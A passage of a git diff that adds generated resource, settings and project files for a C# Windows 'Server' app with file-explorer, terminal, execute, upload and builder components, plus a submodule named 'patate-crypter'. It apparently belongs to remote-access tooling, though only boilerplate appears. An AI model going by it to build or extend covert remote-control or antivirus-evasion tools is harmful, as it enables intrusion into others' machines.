((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Recherche une ressource localisée de type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap execute { + get { + object obj = ResourceManager.GetObject("execute", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Recherche une ressource localisée de type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap file { + get { + object obj = ResourceManager.GetObject("file", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Recherche une ressource localisée de type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap folder { + get { + object obj = ResourceManager.GetObject("folder", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Recherche une ressource localisée de type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap refresh { + get { + object obj = ResourceManager.GetObject("refresh", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Recherche une ressource localisée de type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap terminal { + get { + object obj = ResourceManager.GetObject("terminal", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Recherche une ressource localisée de type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap up_arrow { + get { + object obj = ResourceManager.GetObject("up_arrow", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Recherche une ressource localisée de type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap upload { + get { + object obj = ResourceManager.GetObject("upload", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + } +} diff --git a/Server/Properties/Resources.resx b/Server/Properties/Resources.resx new file mode 100644 index 0000000..ab9aad9 --- /dev/null +++ b/Server/Properties/Resources.resx @@ -0,0 +1,148 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\file.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\terminal.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\execute.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\refresh.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\folder.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\download.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\upload.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\up_arrow.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + \ No newline at end of file diff --git a/Server/Properties/Settings.Designer.cs b/Server/Properties/Settings.Designer.cs new file mode 100644 index 0000000..c2be829 --- /dev/null +++ b/Server/Properties/Settings.Designer.cs @@ -0,0 +1,30 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace Server.Properties +{ + + + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] + internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase + { + + private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); + + public static Settings Default + { + get + { + return defaultInstance; + } + } + } +} diff --git a/Server/Properties/Settings.settings b/Server/Properties/Settings.settings new file mode 100644 index 0000000..3964565 --- /dev/null +++ b/Server/Properties/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/Server/Resources/delete.png b/Server/Resources/delete.png new file mode 100644 index 0000000..cce55de Binary files /dev/null and b/Server/Resources/delete.png differ diff --git a/Server/Resources/download.png b/Server/Resources/download.png new file mode 100644 index 0000000..0cd7791 Binary files /dev/null and b/Server/Resources/download.png differ diff --git a/Server/Resources/execute.png b/Server/Resources/execute.png new file mode 100644 index 0000000..1ce2a17 Binary files /dev/null and b/Server/Resources/execute.png differ diff --git a/Server/Resources/file.png b/Server/Resources/file.png new file mode 100644 index 0000000..2c879e3 Binary files /dev/null and b/Server/Resources/file.png differ diff --git a/Server/Resources/folder.png b/Server/Resources/folder.png new file mode 100644 index 0000000..f55dcc7 Binary files /dev/null and b/Server/Resources/folder.png differ diff --git a/Server/Resources/refresh.png b/Server/Resources/refresh.png new file mode 100644 index 0000000..2bf5a77 Binary files /dev/null and b/Server/Resources/refresh.png differ diff --git a/Server/Resources/terminal.png b/Server/Resources/terminal.png new file mode 100644 index 0000000..fb828d2 Binary files /dev/null and b/Server/Resources/terminal.png differ diff --git a/Server/Resources/up_arrow.png b/Server/Resources/up_arrow.png new file mode 100644 index 0000000..a6e6a37 Binary files /dev/null and b/Server/Resources/up_arrow.png differ diff --git a/Server/Resources/upload.png b/Server/Resources/upload.png new file mode 100644 index 0000000..140c800 Binary files /dev/null and b/Server/Resources/upload.png differ diff --git a/Server/Server.csproj b/Server/Server.csproj new file mode 100644 index 0000000..2b7ef18 --- /dev/null +++ b/Server/Server.csproj @@ -0,0 +1,129 @@ + + + + + Debug + AnyCPU + {ECBAF9B2-2988-480B-973E-50A6BDC7016E} + WinExe + Server + Server + v4.8 + 512 + true + true + + + AnyCPU + true + full + false + ..\bin\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + ..\bin\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + Form + + + BuildMenu.cs + + + Form + + + FileExplorer.cs + + + Form + + + Menu.cs + + + + + BuildMenu.cs + + + FileExplorer.cs + + + Menu.cs + + + ResXFileCodeGenerator + Resources.Designer.cs + Designer + + + True + Resources.resx + True + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + Settings.settings + True + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Server/FileExplorer/images/bg.gif b/Server_cli/FileExplorer/images/bg.gif similarity index 100% rename from Server/FileExplorer/images/bg.gif rename to Server_cli/FileExplorer/images/bg.gif diff --git a/Server/FileExplorer/images/file.png b/Server_cli/FileExplorer/images/file.png similarity index 100% rename from Server/FileExplorer/images/file.png rename to Server_cli/FileExplorer/images/file.png diff --git a/Server/FileExplorer/images/folder.png b/Server_cli/FileExplorer/images/folder.png similarity index 100% rename from Server/FileExplorer/images/folder.png rename to Server_cli/FileExplorer/images/folder.png diff --git a/Server/FileExplorer/images/spike.jpg b/Server_cli/FileExplorer/images/spike.jpg similarity index 100% rename from Server/FileExplorer/images/spike.jpg rename to Server_cli/FileExplorer/images/spike.jpg diff --git a/Server/FileExplorer/index.html b/Server_cli/FileExplorer/index.html similarity index 100% rename from Server/FileExplorer/index.html rename to Server_cli/FileExplorer/index.html diff --git a/Server/FileExplorer/style.css b/Server_cli/FileExplorer/style.css similarity index 100% rename from Server/FileExplorer/style.css rename to Server_cli/FileExplorer/style.css diff --git a/Server_cli/README.md b/Server_cli/README.md new file mode 100644 index 0000000..50b348b --- /dev/null +++ b/Server_cli/README.md @@ -0,0 +1 @@ +# Text version of the Server, will not be maintained, keeping it because history \ No newline at end of file diff --git a/Server/Server.py b/Server_cli/Server.py similarity index 100% rename from Server/Server.py rename to Server_cli/Server.py diff --git a/Server/requirements.txt b/Server_cli/requirements.txt similarity index 100% rename from Server/requirements.txt rename to Server_cli/requirements.txt diff --git a/patate-crypter b/patate-crypter new file mode 160000 index 0000000..8fd24fc --- /dev/null +++ b/patate-crypter @@ -0,0 +1 @@ +Subproject commit 8fd24fc073e8d3c3fac3918ff8c70a2bdd77e846